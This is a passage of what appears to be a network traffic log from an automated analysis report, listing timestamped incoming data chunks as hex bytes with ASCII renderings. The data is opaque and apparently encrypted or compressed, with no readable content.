2022-08-31 12:28:59 UTC	1655	IN	Data Raw: 22 93 54 eb b5 97 68 a3 8c 98 f8 88 83 83 95 35 3f eb 08 4e 6d cb f6 0a 70 ae 3a ec 15 b5 1e e5 0f 93 78 5a 45 6f f9 f1 29 6c cc d5 83 2a c6 65 99 78 8f ae 95 a2 18 cf b9 b9 90 8f 47 b6 46 00 c8 9f 9b cb 4a 93 ce 57 29 81 ce 5a b4 a2 f9 43 06 fb 97 15 04 30 f5 93 20 a4 d6 22 df f2 0b 2b c5 ff f3 30 85 51 cc fd 31 6c cc d7 95 59 ab f9 6a 58 84 0f 51 a6 98 00 45 03 35 b2 2b 8e e0 2c f1 16 fa 0f 68 5f 82 32 72 80 af 58 86 db d8 a0 a3 e0 14 59 69 7b 5f 45 7f 1b 54 e4 c0 a6 84 52 4d 06 df 7a 83 02 c0 b3 7f 77 b9 db c3 e3 c2 45 03 36 96 b0 82 24 e8 5a 6b c2 b7 59 cd 18 c6 2e 09 c6 29 25 c5 75 eb 8a 6a 5f 6f a7 d9 9f b0 5a 20 63 94 98 4b c7 29 10 86 53 13 a2 3f ed 6f bd c8 95 cf 35 a7 ec c4 cb 54 3e 5a 09 80 97 01 38 df 08 ba 67 f7 bc 9f 6d e9 7b ed 2c f4 d3 d2 Data Ascii: "Th5?Nmp:xZEo)l*exGFJW)ZC0 "+0Q1lYjXQE5+,h_2rXYi{_ETRMzwE6$ZkY.)%uj_oZ cK)S?o5T>Z8gm{,
2022-08-31 12:28:59 UTC	1671	IN	Data Raw: 40 2a 52 85 17 c7 cf f0 1e 2f e2 e8 8d ee d7 45 c4 b7 4a 3b ba a2 d3 58 83 3a 09 64 71 45 ec 75 ec e2 59 03 aa 0c b2 e9 0d d1 86 92 10 2d ed d2 a1 02 0c b0 a4 1f 3c d0 68 ab 39 c7 b9 e4 41 e6 48 ff 7c 7c 80 7b 4e 42 4f 6e 8e f6 1b 1a 44 ae 5b 21 54 04 a0 c9 ef 90 aa ef b4 0c b3 45 73 72 9e 99 e2 4a 6e b2 95 4a e6 63 f5 fd 52 d9 97 f3 e0 58 b6 8d 1d 52 fa 48 79 6e 04 ad 61 4c 04 5e 75 7d 2a cb 44 fb 74 10 ca 30 41 b7 17 89 fc 5e 1f 8b ec 0d 59 87 00 4d 9b 77 ce 71 ba 5b 10 c8 39 0c 9a a8 eb 09 1a a4 98 49 f1 bc ba b6 d1 a4 a2 86 57 5a 22 cf cb 23 0d 4e 66 ab 2b 13 9e 96 03 86 37 ff 03 e4 a5 60 87 91 af d9 72 6d d1 62 fe 51 01 37 5b c1 42 9a 25 75 19 4d ed 21 10 2b 4f 8e f9 c6 87 b5 9e c9 84 93 71 5d c0 d3 b8 9e 5b 0e c8 75 eb d9 57 eb a8 59 e7 23 11 55 3e Data Ascii: @R/EJ;X:dqEuY-<h9AH\|\|{NBOnD[!TEsrJnJcRXRHynaL^u}Dt0A^YMwq[9IWZ"#Nf+7`rmbQ7[B%uM!+Oq][uWY#U>
2022-08-31 12:28:59 UTC	1687	IN	Data Raw: c0 85 af f3 58 3b 08 52 a2 c5 55 cb 2c 59 ca 5d d4 b0 73 f1 39 ea 7c 19 cb 35 18 ca bf 08 f5 e9 1c 54 b1 b9 ae 8f 97 4f 7f 87 15 3f 60 62 d3 7f 5b 8c c9 42 cb 90 08 f6 1d 71 2c 3f 73 b0 d6 b7 38 82 cd cf 7a 79 f7 dd 1f 0c 93 f4 7e 32 ab 6b 40 85 16 02 d9 eb 02 e4 d3 31 8b 14 aa d4 01 86 43 c3 ae 9b aa 56 d7 d0 87 42 af 55 88 55 bd 7f 64 43 19 68 b2 1d c3 2b e8 e1 d0 aa ae 87 30 e8 82 e6 90 54 cc 21 2c b5 c8 a7 03 3a 12 c2 58 8b 07 3b 44 66 83 61 a4 31 e6 20 c6 9a 49 c5 bf 09 60 61 56 ce df b1 36 c2 67 ca fd e7 32 de b7 49 38 ae d2 91 aa df cd 93 6b de 3f 25 da d9 69 d3 b5 fd 8a 44 c7 bd ef 99 00 fc 5a 69 30 38 b4 d7 64 3d af de 7d b2 28 56 ff a3 b4 56 b1 0e 7b 6c 8e 5b f0 24 d1 b8 57 cf cd ea e9 77 7c d4 6d 91 36 ec 2d 8e 62 61 90 61 3c 2c e3 02 d0 3a b4 Data Ascii: X;RU,Y]s9\|5TO?`b[Bq,?s8zy~2k@1CVBUUdCh+0T!,:X;Dfa1 I`aV6g2I8k?%iDZi08d=}(VV{l[$Ww\|m6-baa<,:
2022-08-31 12:28:59 UTC	1703	IN	Data Raw: 66 af e0 6c 32 09 8c 8b 66 e2 67 80 a2 2f 70 06 47 02 e5 c8 00 43 60 94 b1 6a 9a 10 81 fd e7 32 33 b9 f3 e3 09 fb 23 b7 31 f3 b0 b9 f7 58 83 19 6d 79 c6 38 e4 46 71 aa 49 db 50 71 5f e6 cd e3 64 db 17 f9 29 bc e9 ae a3 1f b9 fb c0 9c b7 fc ad 63 88 8b 31 a5 e0 9b 60 18 12 cb 28 c5 7e 57 b0 ed ca 3a 17 4d 1a af d8 7b 89 c4 47 90 90 e3 53 10 60 db 1d 84 a8 c5 52 23 86 c5 90 67 a2 ff 01 30 e5 2b c2 13 a7 45 fb 51 d7 e1 fc 30 d8 2b cd ef aa 30 83 d2 2f de 58 8d f1 f2 c1 3a 2a c3 28 fa 5d f3 7f bb 64 e6 b3 ed e3 33 05 6c 22 98 99 6f 91 ba 39 a8 84 e1 cb db 44 da f9 80 91 6b 3d 92 27 95 3f 7f 8a 0a 3c a2 db f6 94 4f 4f 46 47 4e c9 59 02 16 93 21 44 98 68 8a 1d 97 37 ec d4 9e 2b 64 00 65 b7 d7 e4 b0 cc 4a 81 57 9d 40 84 83 84 7a 20 08 7d 98 ce 77 b6 3c a6 a6 0a Data Ascii: fl2fg/pGC`j23#1Xmy8FqIPq_d)c1`(~W:M{GS`R#g0+EQ0+0/X:*(]d3l"o9Dk='?<OOFGNY!Dh7+deJW@z }w<
2022-08-31 12:28:59 UTC	1719	IN	Data Raw: 6f b6 88 d1 d8 78 ef 95 ae 44 e0 fe f0 46 4b 38 90 3c 3c e3 02 d9 1a ef a4 39 79 93 03 05 7b 58 ca cc df 17 37 8a 65 18 8f 27 e4 d5 2a 65 f1 73 82 7f b7 91 8a 35 7d f8 93 8a 61 52 10 04 76 a3 54 ba 2b 49 e4 74 0f d7 8c c0 96 9f 96 c9 9b 61 06 92 29 a8 0a 5b 57 a6 28 f3 5a c7 d7 37 ed 69 c1 d0 85 e0 ea 93 b4 ef 34 83 1d 0d 70 0a 94 de 6c 1c b4 9e 57 f6 5a fa 33 45 58 c2 28 3a 9f 17 5c 1d c2 e7 07 2e 28 31 5e 35 57 c7 79 e5 ca ed be 19 a2 b5 9d 5d df 68 32 42 4e 24 3d 4a 25 f0 62 50 85 c8 cc 02 80 c5 e5 fb 52 23 ee 2e ca f0 4e 30 c4 db 27 e9 6b bb 15 d9 38 1a 76 fd 49 2b 6d 22 d9 58 64 e8 87 21 fa 07 9b 4e 58 db ac b5 86 af bf 08 81 98 d5 3b 7f 56 ef c6 81 fc 8f 93 20 d6 4f 70 cb 1f 80 cf b2 65 72 76 10 72 9d 79 f0 2c 10 fd 0e 71 a5 3b 3f 16 8a bf 0c 2c 08 Data Ascii: oxDFK8<<9y{X7e'*es5}aRvT+Ita)[W(Z7i4plWZ3EX(:\.(1^5Wy]h2BN$=J%bPR#.N0'k8vI+m"Xd!NX;V Opervry,q;?,
2022-08-31 12:28:59 UTC	1735	IN	Data Raw: d4 a1 c4 19 2a d9 3a 0a 6a 63 53 92 e8 0f b6 cb e2 7f b2 47 4f 31 19 c7 96 b2 0b c9 11 64 df 2c fb d9 5f 3d 8b 37 38 94 53 5d 27 2a 5b e9 c4 c4 1f 3d 80 d3 e9 e5 f2 82 78 fa b1 f0 0f 90 e8 72 65 4f de b9 a5 8c ad 16 b8 a5 2a 13 9c 29 dc a8 14 63 1b 09 ed 50 d2 aa 55 da dd c1 93 be da 21 c1 ec 47 ef a6 e6 62 85 c7 89 38 e4 8b df 5a 9d 9b e3 97 eb ce c3 fe 14 af 1a ea 34 22 87 c0 78 f1 a9 ad df 9f 3f 91 39 e0 de 59 86 42 4b b4 ec 29 75 8d 59 65 11 fc 41 3a b0 19 d7 19 2f 66 42 08 be e5 6d eb 0e f1 23 e5 6e a4 68 e2 fe 69 60 10 19 a2 33 dd b0 09 07 fa ff d7 23 ae ea 3f c3 09 c9 4d 66 29 44 c2 63 e7 11 f5 af 0d 7a 2e 5b 9c 6e a7 ec 1a e9 c6 45 b1 02 ca e3 2e 5a da 4b 44 bc 90 8d 07 cf 6e 19 0e fb 7d 72 57 f1 41 1c fc d8 bb 8d 5c b3 a8 90 79 57 6f 16 d7 48 31 Data Ascii: :jcSGO1d,_=78S]'[=xreO*)cPU!Gb8Z4"x?9YBK)uYeA:/fBm#nhi`3#?Mf)Dcz.[nE.ZKDn}rWA\yWoH1
2022-08-31 12:28:59 UTC	1751	IN	Data Raw: 52 70 d3 ba 7f 6f e8 a6 05 19 42 25 08 83 20 fa 0b 70 fe 1f 9b f6 c8 80 b7 3d b4 d1 06 77 d3 8a 18 d3 29 c3 dc 16 75 9d c0 5d 1f b1 58 51 f2 fd 90 e7 81 bf ce 6f ef e8 1e db 5f f9 46 e3 fb 2b 73 b8 49 e3 21 cd 07 0e 33 fd be 2d a3 63 db fa f9 96 1e a1 ce d0 b6 cf f9 70 f3 84 43 2a a0 ea 3d 8c 3f 9d 53 8d 71 85 43 9f fe cb e2 68 c1 32 f4 71 ca 57 68 44 b5 35 40 1c a2 3a 5a d6 b8 ed 31 d8 44 7e 7a 9d 04 49 35 d3 e1 03 48 4f c8 1a 20 73 a1 9b 5e 8b 44 a2 2f 3b 19 3b f9 36 6b 15 4b eb f6 05 ec 85 8f da 4b 59 01 a7 3e 35 2a 9d f5 48 30 60 7a 30 ca af eb 9a 4f bf f0 21 42 93 4d 1d d6 fa de 98 7a ed 43 4e e7 95 1b 64 2f e1 5b 55 2f 92 c1 7c 78 b1 db e4 2c 60 37 ee 76 c3 fc a1 08 e0 4a b9 b9 8e cb 70 34 ae 06 44 fb e4 ab a7 68 9e 94 5f 51 7f 61 0d b4 27 d9 a3 3c Data Ascii: RpoB% p=w)u]XQo_F+sI!3-cpC=?SqCh2qWhD5@:Z1D~zI5HO s^D/;;6kKKY>5H0`z0O!BMzCNd/[U/\|x,`7vJp4Dh_Qa'<
2022-08-31 12:28:59 UTC	1767	IN	Data Raw: c7 1d d8 b5 bc af 3d 9e 21 12 bf ca e4 c5 6b 42 70 53 a4 66 b3 9b e1 bb ac 7a eb 3f 0d 31 0a 51 68 5a 26 ff 48 4d 7a f6 06 eb 4f 9b 7e 8c 3a f4 16 31 97 82 c6 e2 ec e4 6a 1a 2f 0e 05 65 91 43 8e e6 0f e9 db 7d b3 f2 00 fe 64 22 35 85 3b a1 65 83 b8 16 59 5d 78 17 8d fd 43 55 ba 3b 4f 03 41 77 56 c1 ad 85 31 b6 9e c4 b5 f0 c5 80 50 54 96 d8 4f 4d 39 85 fa 14 b5 7a 00 4d b3 a8 a3 26 fa 22 35 4d 7c 91 84 e8 f3 7f b1 90 49 6b 3a 4d b8 0c 51 e9 01 26 18 24 a6 3e c9 03 06 06 12 fb 05 fb ce bf e0 c0 97 7e e0 a1 e1 e0 78 24 d6 c4 a5 5a f3 40 cb 15 f2 5a 6d bf b0 9f 93 b7 06 4f 7b 83 1e fe 80 97 1a 27 6f 41 91 df 30 0f d2 92 73 e3 51 08 df cc 46 0d af 76 11 eb 09 b1 ab b3 7b 2d 1b 0a ce 29 c7 2b 69 d7 08 12 38 30 6e 0e 0d 71 2b be a8 d8 a3 48 56 fe c4 d2 46 8d b3 Data Ascii: =!kBpSfz?1QhZ&HMzO~:1j/eC}d"5;eY]xCU;OAwV1PTOM9zM&"5M\|Ik:MQ&$>~x$Z@ZmO{'oA0sQFv{-)+i80nq+HVF
2022-08-31 12:28:59 UTC	1783	IN	Data Raw: 98 07 90 57 a9 a0 ec 08 cd 99 af 61 d3 a2 e9 54 d0 78 47 cd ba 6c 57 30 73 1b 0c e4 c7 b2 e2 a7 0a 26 e1 32 29 ee b1 a5 26 7c b3 cb 81 a1 95 30 1d 2a 77 07 0d 5e 71 f2 ea 5f a3 d0 98 0c f4 a8 63 26 5c a8 f3 60 50 fb ea 31 f4 05 71 7d e4 ef e3 59 ad 0c 45 7f c6 b0 fe f5 84 91 45 39 81 80 f7 21 b0 e0 99 d5 63 90 3c 79 54 00 8a 3e e5 68 20 45 ae 58 7f 6d 2e b3 ce ae 5e 20 c1 57 1c fe e4 96 f9 d2 74 f8 e6 9f f5 a4 94 71 dd 59 a1 4e 57 7e 65 bd d4 e8 dd 83 26 38 e2 97 61 11 d9 18 b4 24 a7 ca c6 83 2e 9f 2a 18 a4 c0 3a bc 65 40 a4 ab c4 c2 40 98 db 40 d2 2d a4 94 10 66 1d f1 c2 46 98 9f 71 88 1e 8c 39 3e 45 11 d5 04 78 6a 4c f0 d0 f6 c7 63 72 05 6e 6c 63 af cb 71 69 6f 5c 17 ec a1 c4 05 f2 30 97 52 e1 f2 8c 5c bc ce 3d 35 93 08 56 7e 59 52 0f f2 dc 48 44 76 c9 Data Ascii: WaTxGlW0s&2)&\|0w^q_c&\`P1q}YEE9!c<yT>h EXm.^ WtqYNW~e&8a$.:e@@@-fFq9>ExjLcrnlcqio\0R\=5V~YRHDv
2022-08-31 12:28:59 UTC	1799	IN	Data Raw: ac b6 79 29 b1 c7 21 39 b1 68 19 cd 97 cb cc 87 04 01 17 ee 0e 68 4e 92 36 64 59 1c c6 ca e3 45 00 a0 cc 7e c8 99 86 7c 27 71 e3 65 50 47 3c 53 66 ab 18 f6 ff 34 09 36 bf 79 9b d3 cb c6 7c 8c 9b 92 37 19 36 8c 21 85 c6 da 9c 24 7d 4c 96 2a 76 ca d1 d8 29 3c a3 8d d6 bc e3 70 43 68 82 ef b7 4c af 48 55 3c 58 76 43 aa c0 e1 d8 56 13 8a fb 69 fd ff 6e f9 fb d6 ef c8 da 3d 64 30 72 03 ff 59 9c c1 3f 40 26 9d 2c 14 83 6f 3f e2 f6 ca c3 d9 7e 94 37 9e 34 52 1d 5d 9a fc b4 1b 4e d2 cb a0 68 e4 61 8f ba a0 49 ff 16 06 e6 3a d0 b4 b3 13 f4 56 21 b2 b9 be 0a 5c 32 2b 18 99 27 7f f9 05 c6 8b c4 2c 94 12 40 29 ac e7 71 eb 72 fa d6 53 c1 54 89 31 f1 b4 7d 7e 33 f6 a6 bf 64 14 1c 06 d8 a0 86 e4 84 ea a5 20 c3 f9 e8 52 42 7f 6f 38 99 19 e2 13 5f f4 0f 45 98 e6 31 5e 04 Data Ascii: y)!9hhN6dYE~\|'qePG<Sf46y\|76!$}L*v)<pChLHU<XvCVin=d0rY?@&,o?~74R]NhaI:V!\2+',@)qrST1}~3d RBo8_E1^
2022-08-31 12:28:59 UTC	1815	IN	Data Raw: 49 de 62 4d 15 61 22 33 1a c3 bb 54 71 fc a9 62 e6 63 e8 84 89 3d c3 15 71 10 cd e2 c0 2e d6 cc 7e 5d b1 47 72 72 a4 b5 21 40 07 12 1a 2d 2e 75 93 75 87 e9 48 f9 e3 f7 1b cd 72 00 c6 3d 44 5a c3 6d 1f 43 a1 d7 fc f0 d7 ee 96 31 8b 30 ff f2 0d 4c 84 6f 13 8e 46 64 25 66 f5 ba 25 66 35 bd 2e 0c 7a 9d 99 19 5b 3b 13 6a 63 c5 67 22 95 6d 9a 35 49 24 39 4a 22 57 38 5e d0 6a ee 66 70 2d 95 89 8c 9e 47 ab 12 05 9a 93 cb 0a d6 dc 79 29 b0 34 5b 43 14 cb dd a4 07 5c 87 d5 b1 14 71 9c 5e 96 d1 c0 15 37 54 2d 68 d6 c3 88 84 9d 9d 4e 28 3a 8e 11 53 cb 26 3a 33 c7 db 92 5a bb 50 36 9a f3 32 3b e4 f8 fa aa 4d 49 47 ac c6 eb 60 f1 d6 e8 da a0 4c d3 0c 4f 51 5a d5 c0 c1 45 59 6d 6b 8f f4 a2 19 8f 49 98 9d ed 00 08 7e 2e af de c4 5c 8c 8e b3 5d 9b 7e 54 ef 03 63 3a a6 c8 Data Ascii: IbMa"3Tqbc=q.~]Grr!@-.uuHr=DZmC10LoFd%f%f5.z[;jcg"m5I$9J"W8^jfp-Gy)4[C\q^7T-hN(:S&:3ZP62;MIG`LOQZEYmkI~.\]~Tc:
2022-08-31 12:28:59 UTC	1831	IN	Data Raw: 10 ce b3 bb 53 f6 8b 04 e1 24 2b d4 34 a0 b4 9d 29 36 61 1a b0 d7 aa 66 83 8c 20 aa 20 82 73 4d 1c cc 0e db 1b 4c b4 72 d5 97 c3 50 1b 0e a1 44 f7 ba ec e5 67 81 07 1c 21 60 fd 49 13 22 9b 7c fb 35 a9 3e ab ec de 2b 8c b4 fd 5d b8 34 8e b6 e1 29 f9 26 47 e6 9c e1 5b 22 2c ff 71 d9 46 4f 9c 2a 8d df cc 98 13 0f b4 6c 18 08 b2 35 c6 e1 25 58 f6 99 5b 26 d4 aa fd 4d 65 a0 a5 93 60 e6 0f 00 69 17 a2 34 c9 25 23 e3 a5 c9 7f d1 d8 69 1f 04 b1 c6 39 33 40 21 75 b1 d9 7b a5 58 53 03 01 4e 33 47 08 08 01 c4 72 10 f4 8a 7f 05 87 02 aa e2 08 bb c1 d4 5e 7f cc 89 4f e8 a8 9e b8 7f 25 fc d1 83 af 2a a7 fc e3 e8 6c cd d3 4d 60 c0 77 b1 e7 67 08 65 35 45 d3 8e 65 3b 3c 64 dd 88 7c b7 99 c1 99 fc 97 23 c8 33 77 87 54 8d a7 e1 7f b3 74 38 7f c4 3f 0c f3 c2 a7 ec 91 3e 0d Data Ascii: S$+4)6af sMLrPDg!`I"\|5>+]4)&G[",qFOl5%X[&Me`i4%#i93@!u{XSN3Gr^O%lM`wge5Ee;<d\|#3wTt8?>
2022-08-31 12:28:59 UTC	1847	IN	Data Raw: 2f 17 6c eb f6 37 00 b1 37 8d 4e c3 e2 70 ee c6 a0 a4 ee ee 88 1c d0 50 72 0c ec 16 1c be f7 04 f4 66 1a 1b d6 8a d8 e0 90 6f f3 87 44 18 39 d6 f9 93 8d f5 b6 63 95 ec 9e 7a c0 19 05 27 9b 69 4c cd af 53 98 59 73 bd d5 61 2a f2 64 aa 21 3a cf d2 ea 55 25 0a 1f 7c fb ae fd fb e0 6f ab 14 06 63 cd 58 38 02 89 b1 8f 4a 9a 60 96 57 a0 2c 01 30 b3 2b 5f f4 88 fd cb 33 49 2c f8 09 3c 3a 4c 7d 16 62 12 1a 98 5c 33 4b ef 7e 4f 1e bc 34 e2 d3 94 67 77 40 fa 2c fe fe 3c 20 d6 00 31 87 d8 79 3f b7 80 81 5f 30 2c 9d ff 06 7b 55 d1 58 fc e1 ef 2b 3a e8 09 57 b7 fd 0c 7d 7c b9 fa fc 72 e0 fb b3 ec 1c 1d 26 d8 1a a0 fe d6 21 52 3b 83 ce d0 b4 e5 e7 a4 28 91 af 2a 9d c9 07 b1 53 de 49 d3 bf 82 0f bf e3 97 7f 93 46 57 38 ca 05 39 3b 97 c6 fd f2 ed e0 3a 9f 3f 15 ca 68 9f Data Ascii: /l77NpPrfoD9cz'iLSYsad!:U%\|ocX8J`W,0+_3I,<:L}b\3K~O4gw@,< 1y?_0,{UX+:W}\|r&!R;(SIFW89;:?h
2022-08-31 12:28:59 UTC	1863	IN	Data Raw: bb c4 26 36 a7 c4 47 a7 97 9a 99 f8 5a ae 9d f6 c8 75 40 65 7e c7 92 da fb 10 3b f0 d9 11 88 e5 4a 61 85 5d 86 5f 2e 5b c9 99 a4 12 d6 f9 0f 11 f6 d3 30 30 07 3d eb 07 ad 07 eb 62 99 86 14 bd df 26 56 04 5e f3 1d bd 67 df 54 f6 e2 52 78 eb 79 db d7 d1 36 0a 03 9f 81 95 17 3c f2 52 10 87 22 32 42 bc 71 34 f6 06 71 e3 0f b5 d1 1f af 45 30 81 9c 22 d7 79 1f 22 4f 52 70 4b 86 2a a5 e0 08 3d 8b 27 e3 c8 0b 8c 11 6c e7 d7 03 70 44 03 b0 a9 c5 d0 d3 a2 d9 b7 ca 4b 30 1c 9f 62 0d 15 93 f6 da 3f 4f b3 64 bd 17 2b 0a 77 35 61 2d da df 85 c1 97 88 df c5 1f 73 18 f9 29 53 39 b2 fc bd 2f e2 ea f4 68 14 3c bf c8 b8 a0 f2 9b f6 7d f8 28 b9 9b 59 cb 5e 29 01 1f 85 b3 12 30 2f b3 79 d8 4a 5e e1 dd e3 5d e1 55 09 b4 6c 2a 63 ae 5e 46 02 f9 29 8b ca 97 6a 68 ec 9f f3 c8 7c Data Ascii: &6GZu@e~;Ja]_.[00=b&V^gTRxy6<R"2Bq4qE0"y"ORpK='lpDK0b?Od+w5a-s)S9/h<}(Y^)0/yJ^]Ulc^F)jh\|
2022-08-31 12:28:59 UTC	1879	IN	Data Raw: 39 aa 4d 46 d0 91 ca ba c9 03 59 05 f4 41 e0 63 2a 25 4b 22 4f e5 74 0a 1e f8 f2 2c 09 c6 92 10 86 c4 3e 7f bb 6e 06 27 32 b0 ec 2f d5 a8 ef 0b b2 66 46 f2 47 12 30 17 85 b4 45 59 2b 38 23 ce 8e 4c 19 01 5f c3 1c f8 0d 9d 8b 33 65 78 93 8d e9 13 4e 36 48 bd 30 12 a9 45 83 a0 ef 70 36 25 8a 38 c1 a5 ce f1 5f 68 a8 b8 36 32 63 4a 79 13 30 12 46 7a d4 20 96 24 3a 40 09 6a 18 a8 72 26 35 6f 19 6b 20 9e 1d d0 25 4f 39 ca 85 c3 bf d1 75 eb ca 20 02 5e a4 e3 33 fb ea 85 ac 5b 2f 3a 2f f0 bb 0f 18 98 c4 51 0e 37 9a 5b d9 31 de db bc 80 9f e8 73 7f 0b a1 48 46 1f 7d 38 4e 62 9b eb 68 20 b6 be 6e 74 11 4b 85 b2 43 1a 6f d5 b0 71 16 5b 5c 56 c9 24 4c 37 8c 65 82 7c 67 37 94 56 93 a1 8e b4 84 20 2f 75 c6 fa 53 a2 66 c9 2f d9 0f 69 d0 3a df 72 55 54 1d 13 3f 85 93 c2 Data Ascii: 9MFYAc*%K"Ot,>n'2/fFG0EY+8#L_3exN6H0Ep6%8_h62cJy0Fz $:@jr&5ok %O9u ^3[/:/Q7[1sHF}8Nbh ntKCoq[\V$L7e\|g7V /uSf/i:rUT?
2022-08-31 12:28:59 UTC	1895	IN	Data Raw: ac 78 a5 48 3b 9f d1 90 69 61 30 9c fc c3 16 71 a6 63 b4 05 47 2c f1 56 bf 05 53 7e bb 0d ea f3 74 e3 23 24 63 d4 de ae 7c 84 bf e5 8b 3e 1e 2c 6e 6b ee 17 79 90 65 7c 42 56 9e 54 34 a4 89 92 b9 66 d3 3a 98 41 22 ca f3 ef f5 fc d4 1f ef f5 8e 6b e1 fb f5 51 dd b6 72 e8 58 0c de 66 02 b8 9a ab 99 a0 0a 5c 0c ce 69 91 6a 37 bf 32 fa 21 62 a3 51 df c5 bb 68 38 aa a4 b1 ab 05 0b d3 67 8a 3f 29 7f cf d8 7e b4 b7 62 42 f0 4f 62 e1 b0 c2 a4 ae 88 3c 94 16 9a a8 ab 47 2c 82 d4 61 ea 1f f4 f0 eb 69 d9 0f 43 b4 df 3a 27 ed 6e 56 5e bc 2b c1 de b7 34 b6 72 be 8e 1f 60 05 52 99 f7 79 24 46 4c cb 5b d0 9a 1c 78 58 a5 a6 15 85 08 5c 16 74 c9 42 d4 60 e8 63 17 c1 68 61 ff d9 70 b7 53 ad fb 28 3d 93 89 ec 33 b8 d5 ec b9 cd 66 6a ef 0f 53 51 50 03 ef 2b 1a ea 8c 11 06 0f Data Ascii: xH;ia0qcG,VS~t#$c\|>,nkye\|BVT4f:A"kQrXf\ij72!bQh8g?)~bBOb<G,aiC:'nV^+4r`Ry$FL[xX\tB`chapS(=3fjSQP+
2022-08-31 12:29:00 UTC	1911	IN	Data Raw: b0 8e 94 59 a7 2e 81 86 20 98 8d a3 12 9e 94 7a c5 c0 88 b7 9f 8b af 33 b2 06 73 0f ac d7 b9 95 f7 9a 02 d5 35 9a 4a 44 15 15 c4 e3 93 29 1b 97 bf 2f f1 9d fe 96 7f 36 a2 d0 7e 01 b5 b0 84 05 3b 84 4b 22 b4 fb 4d 09 95 52 8d 8f ed db 1d 90 ae 81 db 8d aa c1 aa 28 1c fa 97 bc 7a 6e ba 17 8a dc 68 2c 57 40 bf 37 cb fe 44 ed d4 79 62 0a db 07 7d 6c 29 13 0f 3e 79 c0 73 dd fe fd 32 e2 5f 1a 78 d5 31 ea 17 00 85 dc 1e 18 a2 58 5c d8 86 3b e4 38 1b 5d 92 bf 71 04 a0 2e 4c ec 46 4c 5c 56 a6 cf 5a 5d 8c 25 f5 6f f5 54 9c a4 9c 84 8f 79 32 0e 09 a5 d1 9a aa e0 ac f9 54 ad 77 49 65 27 94 57 8f 77 0e f2 b1 e7 c9 5b 49 1a e4 e6 6a 52 db e5 01 dd 53 44 4c 76 dd 08 da 4b b2 71 35 5b 89 85 fc f7 e7 0c 23 45 35 85 23 3b cd 0c d8 27 95 5e 7d c3 6f 08 32 3c 19 fd 52 51 34 Data Ascii: Y. z3s5JD)/6~;K"MR(znh,W@7Dyb}l)>ys2_x1X\;8]q.LFL\VZ]%oTy2TwIe'Ww[IjRSDLvKq5[#E5#;'^}o2<RQ4
2022-08-31 12:29:00 UTC	1927	IN	Data Raw: 50 22 6c 22 96 1c f8 33 85 d7 86 74 ea 07 ab 8c a1 e3 c6 00 3e ce 4f 01 62 e1 d3 36 e8 36 ee 61 7b 18 8a 55 de 82 8b 39 62 f3 00 2e d2 ce 31 a2 5e 13 5f 0d 56 2d 0b e3 40 3f 0c 65 40 13 26 65 62 a9 79 01 64 3b 4b 2f 23 62 1f a4 d1 bd 19 f2 cb d6 8d 94 97 83 cb 0f 19 ba 01 94 b6 dd 8b 12 43 70 e7 a0 cb b3 64 ce a6 6e b8 30 0d 99 e8 2a 4d 66 85 d7 2c 6d 40 c3 8b d9 4e a7 24 25 0e 5e a1 76 16 0e d0 e0 3c 4a fa b8 ec 6b 33 64 07 d4 92 f2 66 32 9a 40 2b c8 68 f6 c3 d1 96 e9 9a 25 27 d0 a5 34 a8 f9 53 4e 86 c6 15 2b ef cc ad 32 88 f0 ca d4 ed ef 47 bc c5 4c e8 0d de 72 42 97 af ed 33 f7 cc 12 7f 79 77 b9 b5 64 cf b5 9b 8f 45 75 c0 54 06 5c 44 32 34 88 8d 5c ac ee 36 ce 52 26 99 a9 83 1c 5c 8a ed 0d 6a f6 65 77 b6 b5 2b 52 cd 01 30 1c 2d 58 54 bf f0 a9 f8 68 7f Data Ascii: P"l"3t>Ob66a{U9b.1^_V-@?e@&ebyd;K/#bCpdn0*Mf,m@N$%^v<Jk3df2@+h%'4SN+2GLrB3ywdEuT\D24\6R&\jew+R0-XTh
2022-08-31 12:29:00 UTC	1943	IN	Data Raw: 3a b0 fb ee 62 a4 13 01 45 9e 93 d4 30 96 5d d8 5c 18 94 4d 3b 68 dc f7 2d b6 b7 4c 04 f6 7b 15 c1 fc 36 27 5b d7 c8 f8 5e ad 67 f8 b2 3e 78 72 5d 6f a5 ec eb e0 d3 2c 0f 7b 80 f3 31 88 82 9f 11 7f 3e 35 c5 99 cc 88 e5 d5 a8 aa bc fe 70 64 a8 a9 c3 ea d7 f7 9a 01 1f b6 e5 2d 99 01 5e 80 b5 5f 07 c5 d3 7d 15 1b e6 a9 26 9c 8a 58 cd 29 8f 16 c6 e5 99 67 3d 05 c0 c9 3e e9 87 4c f9 12 eb 82 70 96 39 3b 6e c7 80 c6 9b 81 1c 48 e9 56 fe e0 c4 71 b3 e3 f1 a1 0f 2c 5f 4d 56 be 88 f6 19 55 90 9e ee 39 01 59 b8 29 86 48 65 df 76 88 ec bb 4d 04 84 97 9f b3 5e 3c b7 8e e8 85 15 23 28 48 a6 01 5b 97 47 fa e2 b2 f3 4b 19 80 e4 68 94 62 19 fb a8 dc 90 b3 2f 68 b7 60 02 b9 7d 54 3c 7e f3 05 a7 e2 47 a0 19 86 3b ce b3 bb 57 fc 8a 62 dd f5 5d 64 c9 87 57 49 12 79 51 fe 7b Data Ascii: :bE0]\M;h-L{6'[^g>xr]o,{1>5pd-^_}&X)g=>Lp9;nHVq,_MVU9Y)HevM^<#(H[GKhb/h`}T<~G;Wb]dWIyQ{
2022-08-31 12:29:00 UTC	1959	IN	Data Raw: 8a da 6e c5 03 be a4 03 73 26 24 c5 42 e6 6b ea ca e7 18 20 08 d4 7b d9 e0 ac 98 7d d7 49 8a df ef a0 b6 18 d0 36 3d d8 76 6f 2f 47 e4 5f 53 b5 7f 90 78 b0 d5 11 d1 19 67 54 e4 fe 7a f4 68 aa ed a0 03 28 6f 6c 8c 7d bc f2 e6 f3 65 5f 72 34 60 e0 55 21 07 c3 59 b0 ca 25 71 65 11 77 b9 cc 46 16 a3 0d 1f ce 21 5a f5 7f ba 73 47 75 7c 21 f1 98 84 46 6e 54 f3 5a e3 ea bd 63 cd ed c7 c3 11 1f 71 9f 98 12 ec a8 21 c9 e7 7f 39 d6 84 3e 96 a0 4e cf 2f 45 ba 38 96 eb 19 c2 95 cf a1 7e 62 d0 ca 25 32 9a 33 cf c9 30 0c c7 2a ca 81 23 b5 8e ab 88 80 6c 59 63 c7 ee b8 8d 2d 67 1b fa 63 9f e7 f4 e0 18 f4 87 69 35 d9 06 d2 f6 8d 8f 97 53 f2 79 9b 74 d7 6e de 8a f8 81 6b 3d 36 59 59 fb bc 15 4a 7a 66 3a 80 7e 07 ea 24 e9 ef e5 e5 78 1e 6d 3d bf 17 92 2d ea 30 2d 95 